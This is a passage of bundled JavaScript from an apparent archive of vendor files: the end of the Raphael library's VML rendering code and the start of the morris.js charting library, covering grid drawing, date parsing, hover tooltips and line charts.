n)l("raphael.attr."+o+"."+this.id,this,n[o]);if(n){for(o in this.paper.customAttributes)if(this.paper.customAttributes[a](o)&&n[a](o)&&c.is(this.paper.customAttributes[o],"function")){var p=this.paper.customAttributes[o].apply(this,[].concat(n[o]));this.attrs[o]=n[o];for(var q in p)p[a](q)&&(n[q]=p[q])}n.text&&"text"==this.type&&(this.textpath.string=n.text),B(this,n)}return this},E.toFront=function(){return!this.removed&&this.node.parentNode.appendChild(this.node),this.paper&&this.paper.top!=this&&c._tofront(this,this.paper),this},E.toBack=function(){return this.removed?this:(this.node.parentNode.firstChild!=this.node&&(this.node.parentNode.insertBefore(this.node,this.node.parentNode.firstChild),c._toback(this,this.paper)),this)},E.insertAfter=function(a){return this.removed?this:(a.constructor==c.st.constructor&&(a=a[a.length-1]),a.node.nextSibling?a.node.parentNode.insertBefore(this.node,a.node.nextSibling):a.node.parentNode.appendChild(this.node),c._insertafter(this,a,this.paper),this)},E.insertBefore=function(a){return this.removed?this:(a.constructor==c.st.constructor&&(a=a[0]),a.node.parentNode.insertBefore(this.node,a.node),c._insertbefore(this,a,this.paper),this)},E.blur=function(a){var b=this.node.runtimeStyle,d=b.filter;return d=d.replace(r,o),0!==+a?(this.attrs.blur=a,b.filter=d+n+m+".Blur(pixelradius="+(+a||1.5)+")",b.margin=c.format("-{0}px 0 0 -{0}px",f(+a||1.5))):(b.filter=d,b.margin=0,delete this.attrs.blur),this},c._engine.path=function(a,b){var c=F("shape");c.style.cssText=t,c.coordsize=u+n+u,c.coordorigin=b.coordorigin;var d=new D(c,b),e={fill:"none",stroke:"#000"};a&&(e.path=a),d.type="path",d.path=[],d.Path=o,B(d,e),b.canvas.appendChild(c);var f=F("skew");return f.on=!0,c.appendChild(f),d.skew=f,d.transform(o),d},c._engine.rect=function(a,b,d,e,f,g){var h=c._rectPath(b,d,e,f,g),i=a.path(h),j=i.attrs;return i.X=j.x=b,i.Y=j.y=d,i.W=j.width=e,i.H=j.height=f,j.r=g,j.path=h,i.type="rect",i},c._engine.ellipse=function(a,b,c,d,e){var f=a.path();return f.attrs,f.X=b-d,f.Y=c-e,f.W=2*d,f.H=2*e,f.type="ellipse",B(f,{cx:b,cy:c,rx:d,ry:e}),f},c._engine.circle=function(a,b,c,d){var e=a.path();return e.attrs,e.X=b-d,e.Y=c-d,e.W=e.H=2*d,e.type="circle",B(e,{cx:b,cy:c,r:d}),e},c._engine.image=function(a,b,d,e,f,g){var h=c._rectPath(d,e,f,g),i=a.path(h).attr({stroke:"none"}),k=i.attrs,l=i.node,m=l.getElementsByTagName(j)[0];return k.src=b,i.X=k.x=d,i.Y=k.y=e,i.W=k.width=f,i.H=k.height=g,k.path=h,i.type="image",m.parentNode==l&&l.removeChild(m),m.rotate=!0,m.src=b,m.type="tile",i._.fillpos=[d,e],i._.fillsize=[f,g],l.appendChild(m),z(i,1,1,0,0,0),i},c._engine.text=function(a,d,e,g){var h=F("shape"),i=F("path"),j=F("textpath");d=d||0,e=e||0,g=g||"",i.v=c.format("m{0},{1}l{2},{1}",f(d*u),f(e*u),f(d*u)+1),i.textpathok=!0,j.string=b(g),j.on=!0,h.style.cssText=t,h.coordsize=u+n+u,h.coordorigin="0 0";var k=new D(h,a),l={fill:"#000",stroke:"none",font:c._availableAttrs.font,text:g};k.shape=h,k.path=i,k.textpath=j,k.type="text",k.attrs.text=b(g),k.attrs.x=d,k.attrs.y=e,k.attrs.w=1,k.attrs.h=1,B(k,l),h.appendChild(j),h.appendChild(i),a.canvas.appendChild(h);var m=F("skew");return m.on=!0,h.appendChild(m),k.skew=m,k.transform(o),k},c._engine.setSize=function(a,b){var d=this.canvas.style;return this.width=a,this.height=b,a==+a&&(a+="px"),b==+b&&(b+="px"),d.width=a,d.height=b,d.clip="rect(0 "+a+" "+b+" 0)",this._viewBox&&c._engine.setViewBox.apply(this,this._viewBox),this},c._engine.setViewBox=function(a,b,d,e,f){c.eve("raphael.setViewBox",this,this._viewBox,[a,b,d,e,f]);var h,i,j=this.width,k=this.height,l=1/g(d/j,e/k);return f&&(h=k/e,i=j/d,j>d*h&&(a-=(j-d*h)/2/h),k>e*i&&(b-=(k-e*i)/2/i)),this._viewBox=[a,b,d,e,!!f],this._viewBoxShift={dx:-a,dy:-b,scale:l},this.forEach(function(a){a.transform("...")}),this};var F;c._engine.initWin=function(a){var b=a.document;b.createStyleSheet().addRule(".rvml","behavior:url(#default#VML)");try{!b.namespaces.rvml&&b.namespaces.add("rvml","urn:schemas-microsoft-com:vml"),F=function(a){return b.createElement("<rvml:"+a+' class="rvml">')}}catch(c){F=function(a){return b.createElement("<"+a+' xmlns="urn:schemas-microsoft.com:vml" class="rvml">')}}},c._engine.initWin(c._g.win),c._engine.create=function(){var a=c._getContainer.apply(0,arguments),b=a.container,d=a.height,e=a.width,f=a.x,g=a.y;if(!b)throw new Error("VML container not found.");var h=new c._Paper,i=h.canvas=c._g.doc.createElement("div"),j=i.style;return f=f||0,g=g||0,e=e||512,d=d||342,h.width=e,h.height=d,e==+e&&(e+="px"),d==+d&&(d+="px"),h.coordsize=1e3*u+n+1e3*u,h.coordorigin="0 0",h.span=c._g.doc.createElement("span"),h.span.style.cssText="position:absolute;left:-9999em;top:-9999em;padding:0;margin:0;line-height:1;",i.appendChild(h.span),j.cssText=c.format("top:0;left:0;width:{0};height:{1};display:inline-block;position:relative;clip:rect(0 {0} {1} 0);overflow:hidden",e,d),1==b?(c._g.doc.body.appendChild(i),j.left=f+"px",j.top=g+"px",j.position="absolute"):b.firstChild?b.insertBefore(i,b.firstChild):b.appendChild(i),h.renderfix=function(){},h},c.prototype.clear=function(){c.eve("raphael.clear",this),this.canvas.innerHTML=o,this.span=c._g.doc.createElement("span"),this.span.style.cssText="position:absolute;left:-9999em;top:-9999em;padding:0;margin:0;line-height:1;display:inline;",this.canvas.appendChild(this.span),this.bottom=this.top=null},c.prototype.remove=function(){c.eve("raphael.remove",this),this.canvas.parentNode.removeChild(this.canvas);for(var a in this)this[a]="function"==typeof this[a]?c._removedFactory(a):null;return!0};var G=c.st;for(var H in E)E[a](H)&&!G[a](H)&&(G[H]=function(a){return function(){var b=arguments;return this.forEach(function(c){c[a].apply(c,b)})}}(H))}}(),B.was?A.win.Raphael=c:Raphael=c,c});vendor/morris/morris.min.js000066600000157717151150442740012040 0ustar00/* @license
morris.js v0.5.0
Copyright 2014 Olly Smith All rights reserved.
Licensed under the BSD-2-Clause License.
*/
(function () {
	var a,
		b,
		c,
		d,
		e = [].slice,
		f = function (a, b) {
			return function () {
				return a.apply(b, arguments);
			};
		},
		g = {}.hasOwnProperty,
		h = function (a, b) {
			function c() {
				this.constructor = a;
			}
			for (var d in b) g.call(b, d) && (a[d] = b[d]);
			return (
				(c.prototype = b.prototype),
				(a.prototype = new c()),
				(a.__super__ = b.prototype),
				a
			);
		},
		i =
			[].indexOf ||
			function (a) {
				for (var b = 0, c = this.length; c > b; b++)
					if (b in this && this[b] === a) return b;
				return -1;
			};
	(b = window.Morris = {}),
		(a = jQuery),
		(b.EventEmitter = (function () {
			function a() {}
			return (
				(a.prototype.on = function (a, b) {
					return (
						null == this.handlers && (this.handlers = {}),
						null == this.handlers[a] && (this.handlers[a] = []),
						this.handlers[a].push(b),
						this
					);
				}),
				(a.prototype.fire = function () {
					var a, b, c, d, f, g, h;
					if (
						((c = arguments[0]),
						(a = 2 <= arguments.length ? e.call(arguments, 1) : []),
						null != this.handlers && null != this.handlers[c])
					) {
						for (g = this.handlers[c], h = [], d = 0, f = g.length; f > d; d++)
							(b = g[d]), h.push(b.apply(null, a));
						return h;
					}
				}),
				a
			);
		})()),
		(b.commas = function (a) {
			var b, c, d, e;
			return null != a
				? ((d = 0 > a ? "-" : ""),
				  (b = Math.abs(a)),
				  (c = Math.floor(b).toFixed(0)),
				  (d += c.replace(/(?=(?:\d{3})+$)(?!^)/g, ",")),
				  (e = b.toString()),
				  e.length > c.length && (d += e.slice(c.length)),
				  d)
				: "-";
		}),
		(b.pad2 = function (a) {
			return (10 > a ? "0" : "") + a;
		}),
		(b.Grid = (function (c) {
			function d(b) {
				this.resizeHandler = f(this.resizeHandler, this);
				var c = this;
				if (
					((this.el =
						"string" == typeof b.element
							? a(document.getElementById(b.element))
							: a(b.element)),
					null == this.el || 0 === this.el.length)
				)
					throw new Error("Graph container element not found");
				"static" === this.el.css("position") &&
					this.el.css("position", "relative"),
					(this.options = a.extend(
						{},
						this.gridDefaults,
						this.defaults || {},
						b
					)),
					"string" == typeof this.options.units &&
						(this.options.postUnits = b.units),
					(this.raphael = new Raphael(this.el[0])),
					(this.elementWidth = null),
					(this.elementHeight = null),
					(this.dirty = !1),
					(this.selectFrom = null),
					this.init && this.init(),
					this.setData(this.options.data),
					this.el.bind("mousemove", function (a) {
						var b, d, e, f, g;
						return (
							(d = c.el.offset()),
							(g = a.pageX - d.left),
							c.selectFrom
								? ((b = c.data[c.hitTest(Math.min(g, c.selectFrom))]._x),
								  (e = c.data[c.hitTest(Math.max(g, c.selectFrom))]._x),
								  (f = e - b),
								  c.selectionRect.attr({ x: b, width: f }))
								: c.fire("hovermove", g, a.pageY - d.top)
						);
					}),
					this.el.bind("mouseleave", function () {
						return (
							c.selectFrom && (c.selectionRect.hide(), (c.selectFrom = null)),
							c.fire("hoverout")
						);
					}),
					this.el.bind("touchstart touchmove touchend", function (a) {
						var b, d;
						return (
							(d =
								a.originalEvent.touches[0] ||
								a.originalEvent.changedTouches[0]),
							(b = c.el.offset()),
							c.fire("hovermove", d.pageX - b.left, d.pageY - b.top)
						);
					}),
					this.el.bind("click", function (a) {
						var b;
						return (
							(b = c.el.offset()),
							c.fire("gridclick", a.pageX - b.left, a.pageY - b.top)
						);
					}),
					this.options.rangeSelect &&
						((this.selectionRect = this.raphael
							.rect(0, 0, 0, this.el.innerHeight())
							.attr({ fill: this.options.rangeSelectColor, stroke: !1 })
							.toBack()
							.hide()),
						this.el.bind("mousedown", function (a) {
							var b;
							return (b = c.el.offset()), c.startRange(a.pageX - b.left);
						}),
						this.el.bind("mouseup", function (a) {
							var b;
							return (
								(b = c.el.offset()),
								c.endRange(a.pageX - b.left),
								c.fire("hovermove", a.pageX - b.left, a.pageY - b.top)
							);
						})),
					this.options.resize &&
						a(window).bind("resize", function () {
							return (
								null != c.timeoutId && window.clearTimeout(c.timeoutId),
								(c.timeoutId = window.setTimeout(c.resizeHandler, 100))
							);
						}),
					this.el.css("-webkit-tap-highlight-color", "rgba(0,0,0,0)"),
					this.postInit && this.postInit();
			}
			return (
				h(d, c),
				(d.prototype.gridDefaults = {
					dateFormat: null,
					axes: !0,
					grid: !0,
					gridLineColor: "#aaa",
					gridStrokeWidth: 0.5,
					gridTextColor: "#17181c",
					gridTextSize: 12,
					gridTextFamily: "Helvetica",
					gridTextWeight: "normal",
					hideHover: !1,
					yLabelFormat: null,
					xLabelAngle: 0,
					numLines: 5,
					padding: 25,
					parseTime: !0,
					postUnits: "",
					preUnits: "",
					ymax: "auto",
					ymin: "auto 0",
					goals: [],
					goalStrokeWidth: 1,
					goalLineColors: ["#666633", "#999966", "#cc6666", "#663333"],
					events: [],
					eventStrokeWidth: 1,
					eventLineColors: ["#005a04", "#ccffbb", "#3a5f0b", "#005502"],
					rangeSelect: null,
					rangeSelectColor: "#eef",
					resize: !1,
				}),
				(d.prototype.setData = function (a, c) {
					var d, e, f, g, h, i, j, k, l, m, n, o, p, q, r;
					return (
						null == c && (c = !0),
						(this.options.data = a),
						null == a || 0 === a.length
							? ((this.data = []),
							  this.raphael.clear(),
							  null != this.hover && this.hover.hide(),
							  void 0)
							: ((o = this.cumulative ? 0 : null),
							  (p = this.cumulative ? 0 : null),
							  this.options.goals.length > 0 &&
									((h = Math.min.apply(Math, this.options.goals)),
									(g = Math.max.apply(Math, this.options.goals)),
									(p = null != p ? Math.min(p, h) : h),
									(o = null != o ? Math.max(o, g) : g)),
							  (this.data = function () {
									var c, d, g;
									for (g = [], f = c = 0, d = a.length; d > c; f = ++c)
										(j = a[f]),
											(i = { src: j }),
											(i.label = j[this.options.xkey]),
											this.options.parseTime
												? ((i.x = b.parseDate(i.label)),
												  this.options.dateFormat
														? (i.label = this.options.dateFormat(i.x))
														: "number" == typeof i.label &&
														  (i.label = new Date(i.label).toString()))
												: ((i.x = f),
												  this.options.xLabelFormat &&
														(i.label = this.options.xLabelFormat(i))),
											(l = 0),
											(i.y = function () {
												var a, b, c, d;
												for (
													c = this.options.ykeys,
														d = [],
														e = a = 0,
														b = c.length;
													b > a;
													e = ++a
												)
													(n = c[e]),
														(q = j[n]),
														"string" == typeof q && (q = parseFloat(q)),
														null != q && "number" != typeof q && (q = null),
														null != q &&
															(this.cumulative
																? (l += q)
																: null != o
																? ((o = Math.max(q, o)), (p = Math.min(q, p)))
																: (o = p = q)),
														this.cumulative &&
															null != l &&
															((o = Math.max(l, o)), (p = Math.min(l, p))),
														d.push(q);
												return d;
											}.call(this)),
											g.push(i);
									return g;
							  }.call(this)),
							  this.options.parseTime &&
									(this.data = this.data.sort(function (a, b) {
										return (a.x > b.x) - (b.x > a.x);
									})),
							  (this.xmin = this.data[0].x),
							  (this.xmax = this.data[this.data.length - 1].x),
							  (this.events = []),
							  this.options.events.length > 0 &&
									((this.events = this.options.parseTime
										? function () {
												var a, c, e, f;
												for (
													e = this.options.events, f = [], a = 0, c = e.length;
													c > a;
													a++
												)
													(d = e[a]), f.push(b.parseDate(d));
												return f;
										  }.call(this)
										: this.options.events),
									(this.xmax = Math.max(
										this.xmax,
										Math.max.apply(Math, this.events)
									)),
									(this.xmin = Math.min(
										this.xmin,
										Math.min.apply(Math, this.events)
									))),
							  this.xmin === this.xmax && ((this.xmin -= 1), (this.xmax += 1)),
							  (this.ymin = this.yboundary("min", p)),
							  (this.ymax = this.yboundary("max", o)),
							  this.ymin === this.ymax &&
									(p && (this.ymin -= 1), (this.ymax += 1)),
							  ((r = this.options.axes) === !0 ||
									"both" === r ||
									"y" === r ||
									this.options.grid === !0) &&
									(this.options.ymax === this.gridDefaults.ymax &&
									this.options.ymin === this.gridDefaults.ymin
										? ((this.grid = this.autoGridLines(
												this.ymin,
												this.ymax,
												this.options.numLines
										  )),
										  (this.ymin = Math.min(this.ymin, this.grid[0])),
										  (this.ymax = Math.max(
												this.ymax,
												this.grid[this.grid.length - 1]
										  )))
										: ((k =
												(this.ymax - this.ymin) / (this.options.numLines - 1)),
										  (this.grid = function () {
												var a, b, c, d;
												for (
													d = [], m = a = b = this.ymin, c = this.ymax;
													k > 0 ? c >= a : a >= c;
													m = a += k
												)
													d.push(m);
												return d;
										  }.call(this)))),
							  (this.dirty = !0),
							  c ? this.redraw() : void 0)
					);
				}),
				(d.prototype.yboundary = function (a, b) {
					var c, d;
					return (
						(c = this.options["y" + a]),
						"string" == typeof c
							? "auto" === c.slice(0, 4)
								? c.length > 5
									? ((d = parseInt(c.slice(5), 10)),
									  null == b ? d : Math[a](b, d))
									: null != b
									? b
									: 0
								: parseInt(c, 10)
							: c
					);
				}),
				(d.prototype.autoGridLines = function (a, b, c) {
					var d, e, f, g, h, i, j, k, l;
					return (
						(h = b - a),
						(l = Math.floor(Math.log(h) / Math.log(10))),
						(j = Math.pow(10, l)),
						(e = Math.floor(a / j) * j),
						(d = Math.ceil(b / j) * j),
						(i = (d - e) / (c - 1)),
						1 === j &&
							i > 1 &&
							Math.ceil(i) !== i &&
							((i = Math.ceil(i)), (d = e + i * (c - 1))),
						0 > e &&
							d > 0 &&
							((e = Math.floor(a / i) * i), (d = Math.ceil(b / i) * i)),
						1 > i
							? ((g = Math.floor(Math.log(i) / Math.log(10))),
							  (f = (function () {
									var a, b;
									for (b = [], k = a = e; i > 0 ? d >= a : a >= d; k = a += i)
										b.push(parseFloat(k.toFixed(1 - g)));
									return b;
							  })()))
							: (f = (function () {
									var a, b;
									for (b = [], k = a = e; i > 0 ? d >= a : a >= d; k = a += i)
										b.push(k);
									return b;
							  })()),
						f
					);
				}),
				(d.prototype._calc = function () {
					var a, b, c, d, e, f, g, h;
					return (
						(e = this.el.width()),
						(c = this.el.height()),
						(this.elementWidth !== e ||
							this.elementHeight !== c ||
							this.dirty) &&
						((this.elementWidth = e),
						(this.elementHeight = c),
						(this.dirty = !1),
						(this.left = this.options.padding),
						(this.right = this.elementWidth - this.options.padding),
						(this.top = this.options.padding),
						(this.bottom = this.elementHeight - this.options.padding),
						((g = this.options.axes) === !0 || "both" === g || "y" === g) &&
							((f = function () {
								var a, c, d, e;
								for (d = this.grid, e = [], a = 0, c = d.length; c > a; a++)
									(b = d[a]),
										e.push(this.measureText(this.yAxisFormat(b)).width);
								return e;
							}.call(this)),
							(this.left += Math.max.apply(Math, f))),
						((h = this.options.axes) === !0 || "both" === h || "x" === h) &&
							((a = function () {
								var a, b, c;
								for (
									c = [], d = a = 0, b = this.data.length;
									b >= 0 ? b > a : a > b;
									d = b >= 0 ? ++a : --a
								)
									c.push(
										this.measureText(
											this.data[d].text,
											-this.options.xLabelAngle
										).height
									);
								return c;
							}.call(this)),
							(this.bottom -= Math.max.apply(Math, a))),
						(this.width = Math.max(1, this.right - this.left)),
						(this.height = Math.max(1, this.bottom - this.top)),
						(this.dx = this.width / (this.xmax - this.xmin)),
						(this.dy = this.height / (this.ymax - this.ymin)),
						this.calc)
							? this.calc()
							: void 0
					);
				}),
				(d.prototype.transY = function (a) {
					return this.bottom - (a - this.ymin) * this.dy;
				}),
				(d.prototype.transX = function (a) {
					return 1 === this.data.length
						? (this.left + this.right) / 2
						: this.left + (a - this.xmin) * this.dx;
				}),
				(d.prototype.redraw = function () {
					return (
						this.raphael.clear(),
						this._calc(),
						this.drawGrid(),
						this.drawGoals(),
						this.drawEvents(),
						this.draw ? this.draw() : void 0
					);
				}),
				(d.prototype.measureText = function (a, b) {
					var c, d;
					return (
						null == b && (b = 0),
						(d = this.raphael
							.text(100, 100, a)
							.attr("font-size", this.options.gridTextSize)
							.attr("font-family", this.options.gridTextFamily)
							.attr("font-weight", this.options.gridTextWeight)
							.rotate(b)),
						(c = d.getBBox()),
						d.remove(),
						c
					);
				}),
				(d.prototype.yAxisFormat = function (a) {
					return this.yLabelFormat(a);
				}),
				(d.prototype.yLabelFormat = function (a) {
					return "function" == typeof this.options.yLabelFormat
						? this.options.yLabelFormat(a)
						: "" + this.options.preUnits + b.commas(a) + this.options.postUnits;
				}),
				(d.prototype.drawGrid = function () {
					var a, b, c, d, e, f, g, h;
					if (
						this.options.grid !== !1 ||
						(e = this.options.axes) === !0 ||
						"both" === e ||
						"y" === e
					) {
						for (f = this.grid, h = [], c = 0, d = f.length; d > c; c++)
							(a = f[c]),
								(b = this.transY(a)),
								((g = this.options.axes) === !0 || "both" === g || "y" === g) &&
									this.drawYAxisLabel(
										this.left - this.options.padding / 2,
										b,
										this.yAxisFormat(a)
									),
								this.options.grid
									? h.push(
											this.drawGridLine(
												"M" +
													this.left +
													"," +
													b +
													"H" +
													(this.left + this.width)
											)
									  )
									: h.push(void 0);
						return h;
					}
				}),
				(d.prototype.drawGoals = function () {
					var a, b, c, d, e, f, g;
					for (
						f = this.options.goals, g = [], c = d = 0, e = f.length;
						e > d;
						c = ++d
					)
						(b = f[c]),
							(a =
								this.options.goalLineColors[
									c % this.options.goalLineColors.length
								]),
							g.push(this.drawGoal(b, a));
					return g;
				}),
				(d.prototype.drawEvents = function () {
					var a, b, c, d, e, f, g;
					for (f = this.events, g = [], c = d = 0, e = f.length; e > d; c = ++d)
						(b = f[c]),
							(a =
								this.options.eventLineColors[
									c % this.options.eventLineColors.length
								]),
							g.push(this.drawEvent(b, a));
					return g;
				}),
				(d.prototype.drawGoal = function (a, b) {
					return this.raphael
						.path("M" + this.left + "," + this.transY(a) + "H" + this.right)
						.attr("stroke", b)
						.attr("stroke-width", this.options.goalStrokeWidth);
				}),
				(d.prototype.drawEvent = function (a, b) {
					return this.raphael
						.path("M" + this.transX(a) + "," + this.bottom + "V" + this.top)
						.attr("stroke", b)
						.attr("stroke-width", this.options.eventStrokeWidth);
				}),
				(d.prototype.drawYAxisLabel = function (a, b, c) {
					return this.raphael
						.text(a, b, c)
						.attr("font-size", this.options.gridTextSize)
						.attr("font-family", this.options.gridTextFamily)
						.attr("font-weight", this.options.gridTextWeight)
						.attr("fill", this.options.gridTextColor)
						.attr("text-anchor", "end");
				}),
				(d.prototype.drawGridLine = function (a) {
					return this.raphael
						.path(a)
						.attr("stroke", this.options.gridLineColor)
						.attr("stroke-width", this.options.gridStrokeWidth);
				}),
				(d.prototype.startRange = function (a) {
					return (
						this.hover.hide(),
						(this.selectFrom = a),
						this.selectionRect.attr({ x: a, width: 0 }).show()
					);
				}),
				(d.prototype.endRange = function (a) {
					var b, c;
					return this.selectFrom
						? ((c = Math.min(this.selectFrom, a)),
						  (b = Math.max(this.selectFrom, a)),
						  this.options.rangeSelect.call(this.el, {
								start: this.data[this.hitTest(c)].x,
								end: this.data[this.hitTest(b)].x,
						  }),
						  (this.selectFrom = null))
						: void 0;
				}),
				(d.prototype.resizeHandler = function () {
					return (
						(this.timeoutId = null),
						this.raphael.setSize(this.el.width(), this.el.height()),
						this.redraw()
					);
				}),
				d
			);
		})(b.EventEmitter)),
		(b.parseDate = function (a) {
			var b, c, d, e, f, g, h, i, j, k, l;
			return "number" == typeof a
				? a
				: ((c = a.match(/^(\d+) Q(\d)$/)),
				  (e = a.match(/^(\d+)-(\d+)$/)),
				  (f = a.match(/^(\d+)-(\d+)-(\d+)$/)),
				  (h = a.match(/^(\d+) W(\d+)$/)),
				  (i = a.match(
						/^(\d+)-(\d+)-(\d+)[ T](\d+):(\d+)(Z|([+-])(\d\d):?(\d\d))?$/
				  )),
				  (j = a.match(
						/^(\d+)-(\d+)-(\d+)[ T](\d+):(\d+):(\d+(\.\d+)?)(Z|([+-])(\d\d):?(\d\d))?$/
				  )),
				  c
						? new Date(
								parseInt(c[1], 10),
								3 * parseInt(c[2], 10) - 1,
								1
						  ).getTime()
						: e
						? new Date(parseInt(e[1], 10), parseInt(e[2], 10) - 1, 1).getTime()
						: f
						? new Date(
								parseInt(f[1], 10),
								parseInt(f[2], 10) - 1,
								parseInt(f[3], 10)
						  ).getTime()
						: h
						? ((k = new Date(parseInt(h[1], 10), 0, 1)),
						  4 !== k.getDay() && k.setMonth(0, 1 + ((4 - k.getDay() + 7) % 7)),
						  k.getTime() + 6048e5 * parseInt(h[2], 10))
						: i
						? i[6]
							? ((g = 0),
							  "Z" !== i[6] &&
									((g = 60 * parseInt(i[8], 10) + parseInt(i[9], 10)),
									"+" === i[7] && (g = 0 - g)),
							  Date.UTC(
									parseInt(i[1], 10),
									parseInt(i[2], 10) - 1,
									parseInt(i[3], 10),
									parseInt(i[4], 10),
									parseInt(i[5], 10) + g
							  ))
							: new Date(
									parseInt(i[1], 10),
									parseInt(i[2], 10) - 1,
									parseInt(i[3], 10),
									parseInt(i[4], 10),
									parseInt(i[5], 10)
							  ).getTime()
						: j
						? ((l = parseFloat(j[6])),
						  (b = Math.floor(l)),
						  (d = Math.round(1e3 * (l - b))),
						  j[8]
								? ((g = 0),
								  "Z" !== j[8] &&
										((g = 60 * parseInt(j[10], 10) + parseInt(j[11], 10)),
										"+" === j[9] && (g = 0 - g)),
								  Date.UTC(
										parseInt(j[1], 10),
										parseInt(j[2], 10) - 1,
										parseInt(j[3], 10),
										parseInt(j[4], 10),
										parseInt(j[5], 10) + g,
										b,
										d
								  ))
								: new Date(
										parseInt(j[1], 10),
										parseInt(j[2], 10) - 1,
										parseInt(j[3], 10),
										parseInt(j[4], 10),
										parseInt(j[5], 10),
										b,
										d
								  ).getTime())
						: new Date(parseInt(a, 10), 0, 1).getTime());
		}),
		(b.Hover = (function () {
			function c(c) {
				null == c && (c = {}),
					(this.options = a.extend({}, b.Hover.defaults, c)),
					(this.el = a("<div class='" + this.options["class"] + "'></div>")),
					this.el.hide(),
					this.options.parent.append(this.el);
			}
			return (
				(c.defaults = { class: "morris-hover morris-default-style" }),
				(c.prototype.update = function (a, b, c) {
					return a
						? (this.html(a), this.show(), this.moveTo(b, c))
						: this.hide();
				}),
				(c.prototype.html = function (a) {
					return this.el.html(a);
				}),
				(c.prototype.moveTo = function (a, b) {
					var c, d, e, f, g, h;
					return (
						(g = this.options.parent.innerWidth()),
						(f = this.options.parent.innerHeight()),
						(d = this.el.outerWidth()),
						(c = this.el.outerHeight()),
						(e = Math.min(Math.max(0, a - d / 2), g - d)),
						null != b
							? ((h = b - c - 10),
							  0 > h && ((h = b + 10), h + c > f && (h = f / 2 - c / 2)))
							: (h = f / 2 - c / 2),
						this.el.css({ left: e + "px", top: parseInt(h) + "px" })
					);
				}),
				(c.prototype.show = function () {
					return this.el.show();
				}),
				(c.prototype.hide = function () {
					return this.el.hide();
				}),
				c
			);
		})()),
		(b.Line = (function (a) {
			function c(a) {
				return (
					(this.hilight = f(this.hilight, this)),
					(this.onHoverOut = f(this.onHoverOut, this)),
					(this.onHoverMove = f(this.onHoverMove, this)),
					(this.onGridClick = f(this.onGridClick, this)),
					this instanceof b.Line
						? (c.__super__.constructor.call(this, a), void 0)
						: new b.Line(a)
				);
			}
			return (
				h(c, a),
				(c.prototype.init = function () {
					return "always" !== this.options.hideHover
						? ((this.hover = new b.Hover({ parent: this.el })),
						  this.on("hovermove", this.onHoverMove),
						  this.on("hoverout", this.onHoverOut),
						  this.on("gridclick", this.onGridClick))
						: void 0;
				}),
				(c.prototype.defaults = {
					lineWidth: 3,
					pointSize: 4,
					lineColors: [
						"#0b62a4",
						"#7A92A3",
						"#4da74d",
						"#afd8f8",
						"#edc240",
						"#cb4b4b",
						"#9440ed",
					],
					pointStrokeWidths: [1],
					pointStrokeColors: ["#17181c"],
					pointFillColors: [],
					smooth: !0,
					xLabels: "auto",
					xLabelFormat: null,
					xLabelMargin: 24,
					hideHover: !1,
				}),
				(c.prototype.calc = function () {
					return this.calcPoints(), this.generatePaths();
				}),
				(c.prototype.calcPoints = function () {
					var a, b, c, d, e, f;
					for (e = this.data, f = [], c = 0, d = e.length; d > c; c++)
						(a = e[c]),
							(a._x = this.transX(a.x)),
							(a._y = function () {
								var c, d, e, f;
								for (e = a.y, f = [], c = 0, d = e.length; d > c; c++)
									(b = e[c]), null != b ? f.push(this.transY(b)) : f.push(b);
								return f;
							}.call(this)),
							f.push(
								(a._ymax = Math.min.apply(
									Math,
									[this.bottom].concat(
										(function () {
											var c, d, e, f;
											for (e = a._y, f = [], c = 0, d = e.length; d > c; c++)
												(b = e[c]), null != b && f.push(b);
											return f;
										})()
									)
								))
							);
					return f;
				}),
				(c.prototype.hitTest = function (a) {
					var b, c, d, e, f;
					if (0 === this.data.length) return null;
					for (
						f = this.data.slice(1), b = d = 0, e = f.length;
						e > d && ((c = f[b]), !(a < (c._x + this.data[b]._x) / 2));
						b = ++d
					);
					return b;
				}),
				(c.prototype.onGridClick = function (a, b) {
					var c;
					return (
						(c = this.hitTest(a)), this.fire("click", c, this.data[c].src, a, b)
					);
				}),
				(c.prototype.onHoverMove = function (a) {
					var b;
					return (b = this.hitTest(a)), this.displayHoverForRow(b);
				}),
				(c.prototype.onHoverOut = function () {
					return this.options.hideHover !== !1
						? this.displayHoverForRow(null)
						: void 0;
				}),
				(c.prototype.displayHoverForRow = function (a) {
					var b;
					return null != a
						? ((b = this.hover).update.apply(b, this.hoverContentForRow(a)),
						  this.hilight(a))
						: (this.hover.hide(), this.hilight());
				}),
				(c.prototype.hoverContentForRow = function (a) {
					var b, c, d, e, f, g, h;
					for (
						d = this.data[a],
							b = "<div class='morris-hover-row-label'>" + d.label + "</div>",
							h = d.y,
							c = f = 0,
							g = h.length;
						g > f;
						c = ++f
					)
						(e = h[c]),
							(b +=
								"<div class='morris-hover-point' style='color: " +
								this.colorFor(d, c, "label") +
								"'>\n  " +
								this.options.labels[c] +
								":\n  " +
								this.yLabelFormat(e) +
								"\n</div>");
					return (
						"function" == typeof this.options.hoverCallback &&
							(b = this.options.hoverCallback(a, this.options, b, d.src)),
						[b, d._x, d._ymax]
					);
				}),
				(c.prototype.generatePaths = function () {
					var a, c, d, e;
					return (this.paths = function () {
						var f, g, h, j;
						for (
							j = [], c = f = 0, g = this.options.ykeys.length;
							g >= 0 ? g > f : f > g;
							c = g >= 0 ? ++f : --f
						)
							(e =
								"boolean" == typeof this.options.smooth
									? this.options.smooth
									: ((h = this.options.ykeys[c]),
									  i.call(this.options.smooth, h) >= 0)),
								(a = function () {
									var a, b, e, f;
									for (e = this.data, f = [], a = 0, b = e.length; b > a; a++)
										(d = e[a]),
											void 0 !== d._y[c] && f.push({ x: d._x, y: d._y[c] });
									return f;
								}.call(this)),
								a.length > 1
									? j.push(b.Line.createPath(a, e, this.bottom))
									: j.push(null);
						return j;
					}.call(this));
				}),
				(c.prototype.draw = function () {
					var a;
					return (
						((a = this.options.axes) === !0 || "both" === a || "x" === a) &&
							this.drawXAxis(),
						this.drawSeries(),
						this.options.hideHover === !1
							? this.displayHoverForRow(this.data.length - 1)
							: void 0
					);
				}),
				(c.prototype.drawXAxis = function () {
					var a,
						c,
						d,
						e,
						f,
						g,
						h,
						i,
						j,
						k,
						l = this;
					for (
						h = this.bottom + this.options.padding / 2,
							f = null,
							e = null,
							a = function (a, b) {
								var c, d, g, i, j;
								return (
									(c = l.drawXAxisLabel(l.transX(b), h, a)),
									(j = c.getBBox()),
									c.transform("r" + -l.options.xLabelAngle),
									(d = c.getBBox()),
									c.transform("t0," + d.height / 2 + "..."),
									0 !== l.options.xLabelAngle &&
										((i =
											-0.5 *
											j.width *
											Math.cos((l.options.xLabelAngle * Math.PI) / 180)),
										c.transform("t" + i + ",0...")),
									(d = c.getBBox()),
									(null == f ||
										f >= d.x + d.width ||
